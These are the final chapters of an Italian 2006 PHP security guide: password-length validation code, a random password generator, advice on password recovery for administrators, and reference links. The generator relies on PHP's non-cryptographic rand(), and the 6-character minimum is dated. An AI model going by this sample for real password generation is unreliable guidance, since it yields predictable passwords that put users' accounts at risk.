    • Ce.Se.N.A Security Group http://cesena.ing2.unibo.it 8. Password, generatori, password smarrite L’ultima risorsa per l’attaccante, se avete seguito tutti i consigli possibili per mettere in sicurezza il vostro sito php, è la speranza che la password che usate sia debole, ossia facile da trovare. Esempi vulnerabili possono essere: password estremamente corte (sotto i 6 caratteri), basate su dizionario, uguali al nome utente, oppure come “la password” (avete presente la scritta “Inserire qui la password”: beh la risposta è: “la password”, mi sembra logico…) È importante quindi controllare sia la lunghezza della password, che il contenuto (obbligate gli utenti ad utilizzare caratteri alfabetici, numerici e almeno un ‘-‘ oppure un ‘.’. 1. <? 2. //Controlla la lunghezza della password 3. function account_pwvalid($pw) { 4. global $feedback; 5. if (strlen($pw) < 6) { 6. $feedback .= " Password must be at least 6 characters. "; 7. return false; 8. } 9. return true; 10. } 11. ?> Se questo non risulta sufficiente, è possibile ricorrere a generatori di password casuali (qui un esempio per caratteri alfanumerici, maiuscoli e minuscoli). . 1. <? 2. function generatePassword($length = 8) 3. { 4. $chars = 'abcdefghiknrstyxzABDCEFGHKNQRSTYZ23456789'; 5. $numChars = strlen($chars); 6. 7. $string = ''; 8. for ($i = 0; $i < $length; $i++) { 9. $string .= substr($chars, rand(1, $numChars) - 1, 1); 10. } 11. return $string; 12. } 13. 14. echo generatePassword(8); 15. ?> Un’ultima considerazione riguarda il cosiddetto “smarrimento di password”. Si permette di solito di ricevere via mail la password dimenticata o una nuova password. Questa possibilità deve essere assolutamente negata agli amministratori: infatti la mail degli amministratori è visibile, e in caso di password debole di quest’ultima un intruso potrebbe richiedere dal sito l’invio di una nuova password, entrare nella casella di posta dell’admin e quindi ottenere ciò che serve per entrare nell’amministrazione del sito. Copyright 2006 © CeSeNA , Stefano Bianchini 19
    • Ce.Se.N.A Security Group http://cesena.ing2.unibo.it 9. Conclusioni Approfitto di questo capitolo finale per dare alcuni link a siti che trattano l’argomento: • http://phpsec.org/ : PHP Security Consortium Fondato nel gennaio 2005, questo consorzio si occupa di promuovere la programmazione sicura all’interno della comunità dei programmatori Php. • http://phpsec.org/projects/guide/ : Una guida redatta dal Php Security Consortium, in inglese. Disponibile una versione scaricabile in formato pdf all’indirizzo http://shiflett.org/php-security.pdf. • http://www.developer.com/lang/article.php/918141 : On the Security of PHP Un articolo suddiviso in due parti che tratta la sicurezza nella programmazione Php (in inglese). • http://www.phpsecure.info/v2/.php : phpSecure.info Una comunità francese sull’argomento; è disponibile anche la lingua inglese. • http://www.php.net/manual/it/security.php : Php Security - Manual Dai creatori del linguaggio, alcuni consigli sulla sicurezza (sempre in inglese, non ancora tradotta al momento della stesura di questo articolo). • http://www.webkreator.com/php/configuration/php-session-security.html : Php Session Security • http://www.securephpwiki.com/index.php/Main_Page : SecurePhp Wiki Un wiki sull’argomento. • http://www.securereality.com.au/studyinscarlet.txt : A Study In Scarlet Exploiting Common Vulnerabilities in PHP Applications • http://www.sklar.com/page/article/owasp-top-ten Php Top Ten Security Vulnerabilities Per nuove revisioni di questo documento, invito a controllare periodicamente: • http://cesena.ing2.unibo.it : CeSeNA Security, Network & Application Stefano Bianchini stefano.bianchini2@studio.unibo.it Copyright 2006 © CeSeNA , Stefano Bianchini 20